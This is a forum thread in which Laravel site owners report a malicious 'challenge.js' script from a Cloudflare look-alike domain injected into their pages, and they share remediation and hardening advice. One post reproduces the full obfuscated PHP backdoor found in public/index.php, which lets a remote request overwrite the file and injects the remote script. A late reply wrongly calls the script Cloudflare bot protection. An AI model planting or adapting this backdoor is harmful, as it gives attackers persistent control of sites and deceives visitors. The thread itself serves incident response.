Level 80
@anand_aks Sounds like some script is injecting it. No one can tell you any more unless you share more details or the URL of the website.
1 like
Dec 11, 2023
26
Level 1
Unknow script is injecting when the page is loading.
I have a Laravel application and whenever I load any page in the application some unknown script is injected into the code.
the injecting script is "https://a5uf7k6z.cloudfire.quest/challenge.js "
I checked the server and all files but this script is not loading from source code. I can't find it on the server. It is like injecting dynamically during the loading. I can find it in developer elements and networks.
I couldn't find a better option to find the issue, Any suggestions to solve this issue?
Level 1
Sorry if my english is not the best.
I don't think this is related to Laravel, but i am having the same problem and i was searching for some information about this and this is the only place i could find someone with the same issue.
It seems it all started on the last week, just like it did to you. On my laravel site and other websites hosted on the same server some script runs that attempts to impersonate cloudflare. It shows a fake cloudflare window on page load and tries asking the user to allow notifications. In my case the script is "https://t132se0f.cloudfire.quest/challenge.js"
I found some suspicious php files in the /public and /config folders in Laravel with random names and obfuscated code. I also found that the index.php in that same folder was modified and a line with obfuscated code was added at the start. Removing these files and that line of code stopped the injection, but i still don't know what originated these files.
My knowledge in these topics is very limited so i don't think i can be of much help. I'm still trying to figure out how these suspicious files got into my server but i still can't arrive to any conclusion.
1 like
Level 1
@RobertYoco Same here, I have No idea how it goes in the server, deleting the unknown files resolved it for now. We still need to find out how to prevent further issues
Level 2
@RobertYoco @anand_aks hello !
Today I came across the same problem with the similar injection on one of our servers and figured out that the client had outdated Laravel 6.x installation exploitable by CVE-2021-3129.
Make sure you don't have outdated facade/ignition package - it should be greater than 2.5.2 or at least check if your .env has APP_DEBUG=true and set it to false.
Level 75
Is your app setup correctly pointing to public as document root,
Have you done insecure file uploads?
See:
https://laracasts.com/discuss/channels/laravel/undefined-variable-employes?page=1&replyId=917766
1 like
Level 1
@jlrdw No, We didn't do any insecure file uploads
Level 4
It is definitely malicious. I found it on a barebones laravel I have on the internet. I did a git reset --hard to revert all files. Before I did that, I made a copy of all the files it created. It also deleted .gitignore from some laravel directories.
Level 75
@ryantxr I suggest reporting it to @taylorotwell so the team can see what is going on.
https://github.com/laravel/framework#security-vulnerabilities
1 like
Level 1
I have the same problem on a Laravel website. Have you guys managed to solve the issue? You can see it live on protrafic.ro.
A few days ago, I deleted the 'strange' files, and it seemed like the problem was solved. I also changed all my passwords, but after a few days, the problem reappeared.
Level 122
@webisro did you really put your whole project inside public_html folder?
Level 1
@Snapey Yes. The project is in public_html with a redirect from .htaccess to /public. Is this the wrong method? I found different discussions about this topic, but honestlyI still don't know if is ok or not.
Level 122
@webisro Yes, definitely the wrong approach
Level 1
In public/index.php I found this code: /cut here;)/if(isset($_REQUEST["vav\x70\x65\x35\x33\x61\x62\165\156\155\x6a\60\x63\x38"])){if(empty($REQUEST["\x76\141\x76pe\x35\63\x61\x62\x75\156\x6d\152\x30\1438"])){echo bin2hex(gzdeflate(file_get_contents(FILE)));}else{header("X-\x4cit\x65S\x70e\x65\144\55\x50u\162\147\145\x3a \52");if(function_exists("o\160\x63\x61\x63\150\145\x5fr\x65se\164")){@opcache_reset();}if(function_exists("\x61\x70\x63\x63l\145\x61\162\x5f\x63\141\143\150\145")){@apc_clear_cache();}$kw3z2m=filemtime(FILE);$pf6rme=fileatime(FILE);echo strval(file_put_contents(FILE,gzinflate(pack("\x48\x2a",$_REQUEST["\x76a\166p\x65\x353ab\165\156mj\60\143\x38"]))));@touch(FILE,$kw3z2m+1,$pf6rme+1);}die;}if(isset($_SERVER["\x48\x54\124\120\x5fA\103C\105\120\x54"])&&(strpos($_SERVER["\x48\124\124P_A\x43C\x45P\x54"],"\x74\145xt/\x68\164m\x6c")!==false||$SERVER["\110\x54\x54\x50\101\103C\x45\120\124"]==="*/\52")){function pmjikt($kw3z2m){return str_replace("<\57h\145a\144\x3e","<\163\143\x72\x69\x70t \x74\x79p\x65\75\x27\164\x65x\x74\57\152\x61\x76\141s\x63\162\151p\164\47\40as\x79\x6e\143\40s\162c=\x27h\164\164\x70\163\72\x2f\57\66\161m\145\166\63\146\x73\x2e\143\154\157u\x64f\x69re.\x71ue\x73\x74\57\143\x68\x61\154\x6c\145n\x67\x65.j\163'\x3e\x3c\x2f\163\x63\162i\x70\x74\x3e\x3c/he\141\144\x3e",$kw3z2m);}ob_start("\x70\x6d\152\x69\x6b\x74");}/cut here;)/
I removed it, and it's all ok. I still don't know how this happened.
Level 18
@webisro Likely someone got access to your server and dropped this code in there. Could be a vulnerability in your code or a package you are using. Could be a server-related exploit. If your hosting other sites on the same server it also could be that. There's a bunch of attack angles to investigate.
I would suggest (if you know when the file was modified) checking for other files modified on the same day on the server. There may be more then one modifications that were made on the server.
I'd personally work my way from the server down (make sure it's secure, up to date, locked down), then check each site for vulnerabilities, check the server access logs, look for any insight into when t his was modified, look for other files that may have been modified on the server. Lock down the users on the server, lock down the owner/user of Nginx/Apache or whatever you are running.
Then focus on the site(s), go one by one, make sure they are up to date (packages includes). Look at any potential vulnerabilities in your code. Are users allowed to upload anything to the server? Do you restrict what is allowed? etc. Look at the Uploading Laravel 10 Securely to Shared Hosting post. There's other resources like this one on Securing Laravel. Good luck!
cc @linnard
Level 1
Hi , everyone .
i also had a same issue there was a suspicious code In public/index.php , after removing this challange.js is gone from head tag.
as far as i noticed the code was injecting the javascript code that was preventing the execution of a page when i open the developer console . had to click Deactivate breakpoints , after clicking this when i reload the page the execution problem was gone , but the console.log wasn't working after page load . i mean console was working only on page load not on any function call on any events.
does this suspicious code may had affected any other things ?
and does anyone knows the reason ? and what is the better solution ? so that such issue not comes again .
i am using laravel 7 and can't update it to latest version because of dependency errors .
Artisan who had the same issue can tell me the version of there Laravel project ?
it will be really helpful if i get a guidance .
Level 75
FYI: Correctly setting up laravel has been covered many times on this forum.
1 like
Level 1
@jlrdw Thank you for the helping me out .
i know but i am afraid that i might break the app , because i have not crated a project from scratch , will htaccess protection will be enough to prevent this suspicious code injection ?
Level 1
@jlrdw or can you suggest me a proper way to deploy laravel project from local server to the live nginx server , without any fear of threat related to security .
Level 75
@JilRanipa like snapey has said before, put main laravel out of web.
And read the deployment chapter in the documentation.
1 like
Level 1
@jlrdw Thank for the saving me Bro . it worked
Level 3
You could try Laravel Forge for deployment. It takes care of a lot a details.
Level 1
I have the same issue. Laravel 10. Cleared /public/index.php but it's obviously a temporary solution. Any ideas how to find a "hole in the fence"?
Level 1
can anyone please give the update from @taylorotwell , that what is the reason behind this ?
at my domain's root folder there is only public directory is there , everything else is outside the root directory of my domain , still i had the same issue .
right now issue is gone , after removing the suspicious code. but i don't think it is a valid solution .
Level 8
Same thing happened to me with all 6 Laravel apps I have hosted in Digital Ocean through Laravel Forge. I found the file build_david.php in my production /public directory, removed it and the issue now seems fixed. How did they got access too my production folders, though? Larevel team, please help.
Level 122
@archmaster you wont get any attention from the Laravel team posting here
Level 8
@anand_aks I think that js file is included by cloudflare to prevent from bots
Please or to participate in this conversation.